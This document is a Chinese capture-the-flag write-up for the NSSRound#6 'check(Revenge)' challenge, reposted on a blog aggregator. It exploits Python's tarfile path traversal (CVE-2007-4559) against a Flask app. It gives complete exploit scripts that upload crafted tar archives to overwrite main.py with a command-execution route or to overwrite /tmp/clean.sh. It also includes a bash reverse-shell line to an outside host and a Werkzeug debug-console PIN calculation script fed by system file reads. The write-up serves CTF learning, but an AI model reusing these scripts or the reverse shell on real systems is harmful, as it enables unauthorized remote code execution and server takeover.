[NSSRound#6 Team]check(Revenge)

news2024/10/7 14:22:17

文章目录

  • 考点
    • tarfile文件覆盖漏洞(CVE-2007-4559)
    • PIN码计算
  • 解题过程
    • 非预期解
    • 预期解


考点

tarfile文件覆盖漏洞(CVE-2007-4559)

Python 中 tarfile 模块中的extract、extractFile和extractall 函数中的目录遍历漏洞 允许 用户协助的远程攻击者通过 TAR 存档文件名中的…和/遍历目录 和 写入/覆盖任意文件

关键代码

tar = tarfile.open(file_save_path, "r")
tar.extractall(app.config['UPLOAD_FOLDER'])

extractall函数如果结合包含../的文件名时可以实现文件覆盖漏洞
脚本如下

import re
import time
import requests as req
import tarfile

url = 'http://node5.anna.nssctf.cn:28560/'
filename = r"main.py"

def changeFileName(filename):
    filename.name='../../../app/main.py'
    return filename

with tarfile.open("exp.tar", "w") as tar:
    tar.add(filename,filter=changeFileName)

def upload(rawurl):

    url = rawurl + "upload"
    response = req.post(url = url, files = {"file":open("exp.tar",'rb')})
    print(response.text)

if __name__ == "__main__":
    upload(url)

脚本大概过程如下

  1. 首先定义url和需要上传的文件main.py,然后定义了新的文件名来实现文件覆盖
  2. 接着创建tar文件,文件名为前面定义的新文件名
  3. 然后是实现文件上传功能,利用POST请求发送

最终实现覆盖main.py

PIN码计算

PIN 的生成流程分析,可以知道 PIN 主要由 probably_public_bits 和 private_bits 两个列表变量决定,而这两个列表变量又由如下6个变量决定:

username 启动这个 Flask 的用户
modname 一般默认 flask.app
getattr(app, '__name__', getattr(app.__class__, '__name__')) 一般默认 flask.app 为 Flask
getattr(mod, '__file__', None)为 flask 目录下的一个 app.py 的绝对路径,可在爆错页面看到
str(uuid.getnode()) 则是网卡 MAC 地址的十进制表达式
get_machine_id() 系统 id

那又如何获取这6个变量呢?因为 modname 一般默认 flask.app,getattr(app, '__name__', getattr(app.__class__, '__name__')) 一般默认 flask.app 为 Flask,所以主要获取剩下的4个变量即可。

liunx下PIN码中的username 可以从 /etc/passwd 中读取

cat /etc/passwd

此题为root
在这里插入图片描述然后可以看到环境为python/3.10.1
那么绝对路径为

/usr/local/lib/python3.10/site-packages/flask/app.py

在这里插入图片描述
继续获取网卡 MAC 地址的十进制表达式

cat /sys/class/net/eth0/address  #或者是/sys/class/net/ens33/address

在这里插入图片描述
把冒号去掉,然后转换十进制
在这里插入图片描述

最后的系统id包括两部分
我们先读取/etc/machine-id(也可以是/proc/sys/kernel/random/boot_id

cat /etc/machine-id

在这里插入图片描述然后读取/proc/self/cgroup并且只读取第一行,并以从右边算起的第一个/为分隔符

cat /proc/self/cgroup

也就是下图的8a7dfdfc8f7d6dcb17dd8f606197f476c809c20027ebc4655a4cdc517760bc44
在这里插入图片描述
把信息收集齐后就可以计算PIN码
脚本如下

import hashlib
from itertools import chain
probably_public_bits = [
    'root'  
    'flask.app',
    'Flask',
    '/usr/local/lib/python3.10/site-packages/flask/app.py'
]

private_bits = [
    '2485376927778',  
    '96cec10d3d9307792745ec3b85c896208a7dfdfc8f7d6dcb17dd8f606197f476c809c20027ebc4655a4cdc517760bc44'
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

解题过程

非预期解

我们可以看到debug是开启的,那么当文件发生修改时会自动重载,可以直接覆盖main.py
(main.py可以猜,路径可以慢慢试出来)
在这里插入图片描述
那么我们只需要可以直接RCE的main.py覆盖即可
main.py

# -*- coding: utf-8 -*-
from flask import Flask,request
import tarfile
import os

app = Flask(__name__)

@app.route('/download', methods=['GET'])
def download_file():
    filename = request.args.get('filename')

    return os.popen(filename).read()

if __name__ == "__main__":
    app.run(host='0.0.0.0', debug=True, port=80)

解释一下,就是./download路由下,参数filename可以命令执行
上传脚本

import re
import time
import requests as req
import tarfile

url = 'http://node5.anna.nssctf.cn:28560/'
filename = r"main.py"

def changeFileName(filename):
    filename.name='../../../app/main.py'
    return filename

with tarfile.open("exp.tar", "w") as tar:
    tar.add(filename,filter=changeFileName)

def upload(rawurl):

    url = rawurl + "upload"
    response = req.post(url = url, files = {"file":open("exp.tar",'rb')})
    print(response.text)

if __name__ == "__main__":
    upload(url)

上传成功后,命令执行得到flag
在这里插入图片描述

预期解

源码


# -*- coding: utf-8 -*-
from flask import Flask,request
import tarfile
import os

app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['tar'])

def allowed_file(filename):
    return '.' in filename and \
        filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

@app.route('/')
def index():
    with open(__file__, 'r') as f:
        return f.read()

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'file' not in request.files:
        return '?'
    file = request.files['file']
    if file.filename == '':
        return '?'

    if file and allowed_file(file.filename) and '..' not in file.filename and '/' not in file.filename:
        file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], file.filename)
        if(os.path.exists(file_save_path)):
            return 'This file already exists'
        file.save(file_save_path)
    else:
        return 'This file is not a tarfile'
    try:
        tar = tarfile.open(file_save_path, "r")
        tar.extractall(app.config['UPLOAD_FOLDER'])
    except Exception as e:
        return str(e)
    os.remove(file_save_path)
    return 'success'

@app.route('/download', methods=['POST'])
def download_file():
    filename = request.form.get('filename')
    if filename is None or filename == '':
        return '?'
    
    filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
    
    if '..' in filename or '/' in filename:
        return '?'
    
    if not os.path.exists(filepath) or not os.path.isfile(filepath):
        return '?'
    
    if os.path.islink(filepath):
        return '?'
    
    if oct(os.stat(filepath).st_mode)[-3:] != '444':
        return '?'
    
    with open(filepath, 'r') as f:
        return f.read()
    
@app.route('/clean', methods=['POST'])
def clean_file():
    os.system('su ctf -c /tmp/clean.sh')
    return 'success'

# print(os.environ)

if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=True, port=80)

利用CVE-2007-4559进行任意写文件,然后覆盖/tmp/clean.sh,然后访问clean路由触发反弹shell
exp.sh

bash -c 'bash -i >& /dev/tcp/f57819674z.imdo.co/54789 0>&1'

exp.py

import re
import time
import requests as req
import tarfile

url = 'http://node5.anna.nssctf.cn:28417/'
filename = r"exp.sh"

def changeFileName(filename):
    filename.name='../../../tmp/clean.sh'
    return filename

with tarfile.open("exp.tar", "w") as tar:
    tar.add(filename,filter=changeFileName)

def upload(rawurl):
    url = rawurl + "upload"
    response = req.post(url = url, files = {"file":open("exp.tar",'rb')})
    print(response.text)

def clean(rawurl):
    url = rawurl + 'clean'
    response = req.post(url)
    print(response.text)
if __name__ == "__main__":
    upload(url)
    time.sleep(1)
    clean(url)

关键步骤,要给exp.sh赋予可执行的权限

chmod +x exp.sh

在这里插入图片描述

运行脚本,成功反弹shell
在这里插入图片描述想得到flag,但是没权限
在这里插入图片描述

这里扫了一下目录,发现存在./console(也就是debug的路由)
在这里插入图片描述
所以接下来计算PIN码
详细的获取过程在前面的考点有提及
直接给出脚本

import hashlib
from itertools import chain
probably_public_bits = [
    'root'  
    'flask.app',
    'Flask',
    '/usr/local/lib/python3.10/site-packages/flask/app.py'
]

private_bits = [
    '2485376927778',  
    '96cec10d3d9307792745ec3b85c896208a7dfdfc8f7d6dcb17dd8f606197f476c809c20027ebc4655a4cdc517760bc44'
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

访问./console,输入正确的PIN码
得到flag
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1155603.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

点云配准--对称式ICP

对称式ICP 写在前面的话 针对于局部平面不完美的情况,提出了一种对称式ICP目标函数,相较于传统的ICP方法,增大了收敛域,提高了收敛速度。论文理论说明不甚清楚,实验较少,但代码开源。 理论 对称目标函数…

【Simulink】飞轮储能系统的建模与MATLAB仿真(永磁同步电机作为飞轮驱动电机)

目录 ​1 主要内容 2 结果分析 3 程序链接 ​1 主要内容 该仿真为飞轮储能系统的建模,包括电网侧和电机侧两部分模型,仿真采用永磁同步电机作为飞轮驱动电机,通过矢量控制的方式对其发电和电动的工况进行控制,同时&#xff0c…

数据库访问跳板机

应用场景 在安全性要求高的网络环境,可能会出现数据库ip访问限制,导致数据库只有指定服务器才能访问,在特定业务场景我们可能会经常多人查询该数据库的表,为了解决这个问题,我写了一个小工具。 核心思想 解决方案实…

WindowsTerminal 配置标签页(快速使用PowerCli)

需求 避免每次都需要手动输入密码、手动填写信息才能访问vcenter。结合WindowsTerminal快速创建标签页,需要时一键开启Powercli。 解决 编写启动PowerCli的bat脚本 内容如下 echo off powershell -NoExit -ExecutionPolicy Bypass -Command "Connect-VISe…

NLP之LSTM原理剖析

文章目录 背景simpleRNN的局限性 LSTM手写一下sigmoid例子支持长记忆的神经网络解读3重门 背景 SimpleRNN有一定局限性, 图片上的文字内容: 图片标题提到“SimpleRNN是一种基础模型。它用于解决序列型问题,其中的每一步的输出会影响到下一步的结果。图…

[计算机提升] 查看系统软件

3.1 查看系统软件 此处系统软件为系统安装后自带的一些软件、工具等。包括:管理工具、系统工具、轻松使用工具、附件等。 方法一:通过菜单打开系统软件 1、点击左下角windows菜单键,在弹出的菜单中,任一点击一个字母(示例中为C)&…

听GPT 讲Rust源代码--library/std(10)

题图来自 Rust Development Roadmap[1] File: rust/library/std/src/sys/windows/c.rs 在Rust源代码的rust/library/std/src/sys/windows/c.rs文件中,主要定义了Rust对于Windows操作系统的系统调用接口。该文件定义了各种Windows特定的结构体、枚举和常量&#xff0…

NAS(qnap)中安装git服务(gogs),硬件为TS-453Bmini,固件版本:QTS 5.1.2.2533

NAS(qnap)中安装git服务(gogs),硬件为TS-453Bmini,固件版本:QTS 5.1.2.2533 1.进入nas的管理界面,找到App Center: 2.在AppCenter中,安装ContainerStation容器工作站: 3.ContainerStation容器工作站中&…

linux驱动开发环境搭建

使用的是parallel 创建的ubuntu 16.04 ubuntu20.04虚拟机 源码准备 # 先查看本机版本 $ uname -r 5.15.0-86-generic# 搜索相关源码 $ sudo apt-cache search linux-source [sudo] password for showme: linux-source - Linux kernel source with Ubuntu patches linux-sourc…

【Kubernetes 基本概念】Kubernetes 的架构和核心概念

目录 一、Kurbernetes1.1 简介1.2 为什么要用K8s?1.3 K8s的特性 二、Kurbernetes集群架构与组件三、Kurbernetes的核心组件3.1 Master组件3.1.1 Kube-apiserver3.1.2 Kube-controller-manager3.1.3 Kube-scheduler 3.2 配置存储中心——etcd3.3 Node组件3.3.1 Kubelet3.3.2 Ku…

qnx resource managers 实例

文章目录 前言一、resource managers 是什么二、device resource managers 实例1. Single-threaded device resource manager2.Multithreaded device resource manager3.Resource Managers that Handle Multiple Devices总结参考资料前言 本文主要介绍如何编写一个 qnx 下 的 …

CSS图片下方4px间距

目录 1,问题表现2,问题解决 1,问题表现 .test-img {height: 100px;outline: 1px solid salmon; }图片下方有4px间距。 图片下方是图片时问题也存在。 2,问题解决 图片设置 display: block;图片设置 vertical-align: middle; …

【Java 进阶篇】深入理解 Java Response:从基础到高级

HTTP响应(Response)是Web开发中的一个关键概念,它是服务器向客户端(通常是浏览器)返回数据的方式。理解如何在Java中处理和构建HTTP响应是开发Web应用程序的重要一部分。本文将从基础知识到高级技巧,详细介…

Python---判定表法(功能测试)

能对多条件依赖关系进行设计测试点---判定表法 等价类、边界值分析法主要关注单个输入类条件的测试 定义:是一种以表格形式表达多条件逻辑判断的工具。 条件桩: 列出问题中的所有条件,列出条件的次序无关紧要动作桩: 列出问题中可能采取的操作,操作的…

安装最新版vue-cli,并搭建一个vue2项目

安装最新版vue-cli,并搭建一个vue2项目 卸载旧版本环境 卸载node.js 可以使用qq电脑管家,找到nodejs卸载即可 cmd查看vue cli版本(可以看到我们是vue cli 2.x) C:\Users\youzhengjie666> vue -V 2.9.6卸载vue cli 2.x np…

学习笔记|单样本t检验|无统计学意义|规范表达|《小白爱上SPSS》课程:SPSS第四讲 | 单样本T检验怎么做?很单纯很简单!

目录 学习目的软件版本原始文档一、实战案例二、案例解析本案例之目的 四、SPSS操作1、正态性检验Tips:无统计学意义 2、t检验结果 五、结果解读六、规范报告1、规范表格2、规范文字 注意划重点 学习目的 SPSS第四讲 | 单样本T检验怎么做?很单纯很简单&…

Python爬取读书网的图片链接和书名并保存在数据库中

一个比较基础且常见的爬虫,写下来用于记录和巩固相关知识。 一、前置条件 本项目采用scrapy框架进行爬取,需要提前安装 pip install scrapy# 国内镜像 pip install scrapy -i https://pypi.douban.com/simple 由于需要保存数据到数据库,因…

CCLINK IEFB转Profinet协议网关连接1200和三菱FX5U的通讯方法

捷米JM-PN-CCLKIE这款网关主要功能是实现CCLINK IEFB总线和PROFINET网络的数据互通。 JM-PN-CCLKIE网关连接到PROFINET总线中做为从站使用,连接到CCLINK IEFB总线中做为从站使用。该产品主要功能是实现CCLINK IEFB总线和PROFINET网络的数据互通。JM-PN-CCLKIE网关分…

PyQt5:构建目标检测算法GUI界面 (附python代码)

文章目录 1.界面2.代码3.Analyze 1.界面 目标检测算法一般就是检测个图片,然后显示图片结果。 最简单的情况,我们需要一个按钮读取图片,然后后有一个地方显示图片。 2.代码 import sys import numpy as np from PIL import Imagefrom PyQt…

问题 C: 搬寝室(DP)

算法分析: 题目意思为求n个物品,拿k对使得消耗的体力最少, 或者说是这k对物品,每一对中两件物品的质量差平方最小, 所以要使得质量差的平方小,只能排序后取质量相邻两个物品作为一对; 现在设f…